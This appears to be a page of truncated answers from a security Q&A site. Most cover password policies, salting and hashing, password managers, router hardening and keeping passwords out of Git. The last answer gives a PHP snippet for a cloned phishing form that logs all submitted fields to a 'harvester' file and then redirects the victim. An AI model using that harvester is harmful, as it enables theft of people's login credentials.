New answers tagged

0

Exactly eight characters long sounds like lazy programming to me! Why eight characters?!! Thpough I would say a password policy is always better than none at all


0

If users were picking passwords randomly then password policies would make security worse by limiting the choice of possible passwords but users don't pick passwords randomly. The aim of a good password policy should be to push a user to make more choices and hence choose a stronger password without unduly limiting the password space. This policy has good ...


0

This wouldn't improve security, this is entirely a user experience decision.


15

Now I'm wondering what is worse for password strength. Having no password policy at all or a poor password policy like in the picture? The password strength requirements you mentioned are absolutely more harm then good, especially the max length. They might be using a very old insecure hash routine. (thus a max-length) In certain areas this supports ...


2

None at all is better than the one shown, specifically because of the 8 char limit. All 8 char combos can be tested in a second with a Titan-family GPU and John the Ripper. While not all password policies are detrimental (min length is good, one+ special char forces a bigger crack alphabet, no dictionary words, etc), the one shown is a joke that's not very ...


3

A bad policy like this is worse than none. This policy means that people who normally use '123', will now have a bit more secure password, but it's still weak. It also means that the people using something like 'fzFEZ#5$3rt4564ezezRTyht' (randomly generated), or just: 'cat j_umps over the brown painted wall412' (strong entropy), will now have a much weaker ...


1

in my opinion having none would be better A list of reasons are: These policies make people tend to write down there passwords and stick them to the monitors or alike. (what security does a password than supply?) These rules are easily deduced and (by using these type of boxes) even announced to any potential intruder. (Like lets give the person we want to ...


32

The question is: worse for what? With the policy you posted, the possible passwords are less than 64⁸ (~2.8*10¹⁴). In practice, very much passwords will probably be [a-z]*6[0-9][special char] (e.g. aabaab1!) and similar passwords. All possible passwords with the same characters and length less than 8 are just 64⁷+64⁶+64⁵+... which is ~4.5*10¹². Thats a lot ...


0

Someone can probably do some math and give a really technical answer but like I'd to say it's basically the same but really probably slightly better to have this terrible policy than nothing. People will use their usernames or 3 letter passwords and such. I really think it is important to get it into people's heads that these kind of policies are not ...


2

George has a good answer with some great information regarding this, however one thing you need to think about with all of this is your user experience, and attack theater. If it's on someone's phone, who would be the one to get that data? Local: A person with physical access to that device. With physical access to the device they can wait to watch the ...


1

I will assume you are using a Strong (slow) Password Hash such as BCrypt with a sufficiently high Work Factor. If you are using a general purpose (fast) hash then the security benefit is very thin. In most cases the Hash should be kept secret. There may be a vulnerability discovered some time in the future. The hash is a multiplier of password strength. ...


3

When an attacker knows only the hash and not the salt, then they have to not just test every possible password but every possible password with every possible salt. With long and random salt values this is practically impossible. However, this is not a realistic scenario. When an attacker compromises a system, you have to assume that they compromised the ...


4

I think you've misunderstood the purpose of a salt, because if you understood what it is designed to achieve you perhaps wouldn't be asking this question. The only purpose is to provide a level of uniqueness to each password in order to prevent precomputed tables ("rainbow tables") being an effective form of attack. As a result, it's not designed to be "...


2

A salt is a stored next to the password. There is no rule that says it MUST be like that, but it is a logical result of the intended purpose of a salt. Building a rainbow table is no trivial task. The point of the salt is that the attacker would need a separate rainbow table for each salted password (in which case it is easier to directly attack each ...


1

If you are a admin, it is a common use case: set a new temporary password for the user owning (main user of) the computer give that user temporarily admin rights make all fixes or software installs needed - pretending being the other user revoke admin rights set a null or simple password for the user and ask him to change it immediateley This allows to ...


3

Considering that mind-reading technology is still far from being able to read passwords from your mind, this question is largely hypothetical. But when "something you know" is unsuitable as an authentication factor, there are two others you can use: Something you are, also known as biometry (fingerprint, iris scan, DNA sample...). These come with their ...


1

A Yubikey is specially made for this. It's a kind of two-factor authentication USB-stick which generates and syncs pseudo-random passwords after a given amount of time. That way, even you don't need to know your 'second Yubikey-password' and don't even need to think about it.


2

The simplest way to solve this would be with some form of second factor authentication. A method for making that immune to subpoena isn't immediately obvious. While telepathy is rather unlikely, as I understand current technology, hypnosis or other methods could be used to "pick someone's brain". So the scenario described isn't entirely ridiculous.


1

I suppose I'll indulge this. One solution to something like this would be to have a multi part key like bitcoins so-called "multisig keys" held in different legal jurisdictions.


3

Well, all of the sensible answers can be summed up in one simple rule: Don't do that! There is just no safe way to commit passwords or other sensitive values into a Git repository that will be cloned by a rotating cast of developers. And there is no foolproof automated way of catching such mistaken commits. So all the advice has to be built around ...


4

If someone has physical access to a machine, the root password is no longer a protection. Among things that can be done (from simpler to harder): interrupt a boot sequence. Some systems directly open a shell with root account without asking for password in order to allow the operator to try to recover manually after a major disaster (lost of password file, ...


2

There is not so much you can do with securing wireless network from a router standpoint, but key points to hardening are:- Change default password. If available use WPA, not WEP. Disable remote administration Change the default SSID name Enable router firewall Disable SSID broadcast Enable wireless MAC filter


1

The question is whether the ISP's device and the Linksys can pair together in order to provide a single WiFi node (with the same settings and password). If they can do this then you simply need to perform the typical hardening of a device that you normally would (no external access to the admin page, change the default password, etc.)


0

Having two routers (or one router and one modem with wireless capability) gives attackers the possibility to enter your network in two ways, thus doubling the attack surface. An attacker would only have to know one of the two passwords to access your network. If you use both devices, I would advice setting the SSID and the password the same. This way, the ...


1

The short answer is NO. NEVER EVER MAKE YOUR OWN HASHING ALGORITHM! Home cooking algorithms for hashing are never ever secure and therefore a very bad idea. It's also a bad idea to mix two algorithms together as it can make things even more insecure. There are many other algorithms out there that you could use. You can use Bcrypt, Scrypt, sha2, sha512 , ...


0

Many code static analysis tools will support searching for hard coded passwords and flagging them - this could happen early in the continuous integration process, which would at least make it less likely for code with hardcoded passwords to be merged to master. https://www.owasp.org/index.php/Source_Code_Analysis_Tools Ultimately, though, this is a ...


6

One thing you could do is store the passwords inside a configuration file (for example Laravel stores it inside .ENV) and then avoid committing it to the repo, by adding it to .gitignore. Users will have to create one manually after downloading the repo.


1

To answer the question you specifically asked...No, hashing the Int32 value to use as the salt is not significantly stronger than using the Int32 directly. It would, as you already suspect, be more obscurity than security. As Martin pointed out in his answer, the key property of a salt is that it be globally unique. You do not get this property with ...


1

Fundamentally, this sort of authentication is only as strong as the email account the user is using. However, the same criticism can be levied at any relegated authentication model - OpenID or OAUTH included. However, I think that this is still well worth it - by leveraging existing services that users value, it means that they are not tempted to use throw-...


0

The only time it could be relevant is for cracking a password that is very secure. Mike Scott's math is accurate, so lets presume that 22 character password is going to take 100 years to crack. If we don't know it's length then we'll waste 9 months attempting passwords that are too short. Then at a random point in the remaining 92 years the password will be ...


2

You should use WPA2-Enterprise, it allows you to issue per-user credentials that can be revoked at will, in addition to using unique keys for each user (so you can't decrypt someone else's wireless traffic even if you are allowed to access the network, something possible with WPA2-Personal where the key is the same for everyone). You'll need a RADIUS server ...


3

An important reason for the "tick some boxes" approach is because too many sites have their own unique password policies (your password must be a palindrome in iambic penatameter etc.) But in average, I don't understand why making sure that there's at least 1 char from every lists is more secure than a purely randomly generated password. I wouldn't ...


3

Many sites have complexity requirements. One advantage of the check boxes is to guarantee your password will actually be accepted by the website that you are generating it for. Another reason is psychological. People will believe the password is less susceptible to guessing if it has these character requirements. Realistically, a password with 80 bits of ...


1

@Anders answered your point on encryption, a note on Normal passwords are hashed so this isn't a problem. You can hash a password when you do not need to use it to authenticate further, but only to check if a password currently presented to you is the same as the one which was hashed. In other words, if you need the plaintext version of a password (...


4

Using a good password manager that generates unique, long, random passwords is a good idea. The passwords are not "stored in strings or encoded". They are encrypted, hopefully with a strong encryption algorithm like AES. The encryption key is usually generated from the master password with an algorithm such as PBKDF2, specifically designed to be slow so as ...


2

It's all a matter of API level: if you intercept an event using a (usually privileged) low-level API, you are then able to hide it to higher (unprivileged) level APIs. Thus, these two solutions most-likely rely on low-level APIs so intercept keystroke events so they remain undetected to key loggers (hopefully) relying on higher level API. In the case of ...


1

I can't remember the last time I worked on a system where a CMOS battery pull reset the password. Of course, password reset jumpers or manufacturer override codes are features, and you can expect UEFI to have all the features BIOS had and then some. Remember, though, that BIOS passwords aren't that powerful. They protect against someone with physical access ...


3

Forcing the user to pick a password you generated is an efficient way to prevent password reuse. That means both (a) that your passwords will not be usable on an other site if an attacker steals them, and (b) your users accounts will not be breached even if they were all on LinkedIn, MySpace, Sony and Ashley Madison. On the other hand, it will wake them way ...


0

Having an unique password per site isn't about people targeting that individual site, but instead the problem of 'cross contamination' from other sites. People are notorious for using the same password on multiple systems. Its been well documented that attacks take place by setting up a website of similar interests to your target (for example, a World of ...


5

Microsoft Notepad will not save anything to disk unless you explicitly tell it to do so (by using "Save As"). This is in contrast to more complex programs like Word or Notepad++ that has autorecovery features and might save safety copies of files. I do not know, but suspect, that simple, basic text editors on other OS's work the same way. If it would be ...


1

Yes, temporary in your RAM. Notepad is a program like no-other and uses variables. What you type also is a variable. The value of variables get stored in your RAM. Whenever you close your laptop your RAM is 'cleared' (look-up volatile memory). However: When you freeze RAM chemically, it's content doesn't get flushed, It takes a few minutes after power-...


2

As others have answered, you should be using a password manager! Do not use word and notepad. However I'd like to address some mis-conceptions in your question as well. Has anyone come across the conflict between using Word/NotePad with Secret Agent before? Could using a combination of Word and Notepad Characters" increase the level of encryption? '...


7

If I understand the question right, your users are storing their passwords in text files (Notepad) and Word documents. This is an extremely unsafe practice. Everybody who has read access to the place where these passwords are stored, can see the passwords. Moreover, the passwords will be visible if users copy-paste them. Your users should be storing their ...


3

The token should have at least 72 bits of entropy (9 bytes, or 12 Base64 characters) This should be generated with a Secure PSRNG (random number generator). So don't use the simple rand() operator of your programming language as it might be predictable, but look for the Secure random generator that PHP provides internally , or read bytes from /dev/urandom ...


5

This used to be common practice in the late 70s / early 80s. Back then UNIX systems truncated user passwords to 8 character before encrypting them. Newer operating systems use algorithms which pose no (reasonable) limit on password length, but some operating systems still support the old encryption method for backward compatibility. That means the email ...


0

This is fairly odd seeing as good security practice involves hashing and salting passwords. With a hashed password you can't tell if the password is partly correct (unless you have a script that looks for all possible hashes with your password + all the combinations of a X allowed characters - this would be terribly ineffecient) So this tells me that they ...


7

No, this is not accepted security practice. But it is probably not the only service either which silently cut off the entered password after a fixed number of characters. Check out their documentation if they document this behavior. If this is behavior if not documented please contact them so that they either fix this behavior or at least make this bad ...


1

In the context of plain text passwords, here are the most concerning policies: * Passwords must be 8 to 16 characters in length. While setting a maximum length of 16 characters may simply be a misguided or misinformed policy, it most likely points to how the system is storing the password and compatibility with legacy systems. The biggest issue here ...


2

While many valid points are already discussed, no one yet came up with thoughts with regard to the Fifth Amendment (in US Law) and self-incrimination. There is similar law in other countries as well. The consensus is, that having a password will put you in advance against law enforcement, because is something that is protected by the amendment, where the ...


1

If you're using the option I'm thinking of, your cloned form is POSTing to post.php. You could edit that script in order to make it do what you want. <?php $file = 'harvester_sdfskksdks.txt'; file_put_contents($file, print_r($_POST, true), FILE_APPEND); ?> <meta http-equiv="refresh" content="0; url=http://0.0.0.0:8000/index.html" /> Instead ...



Top 50 recent answers are included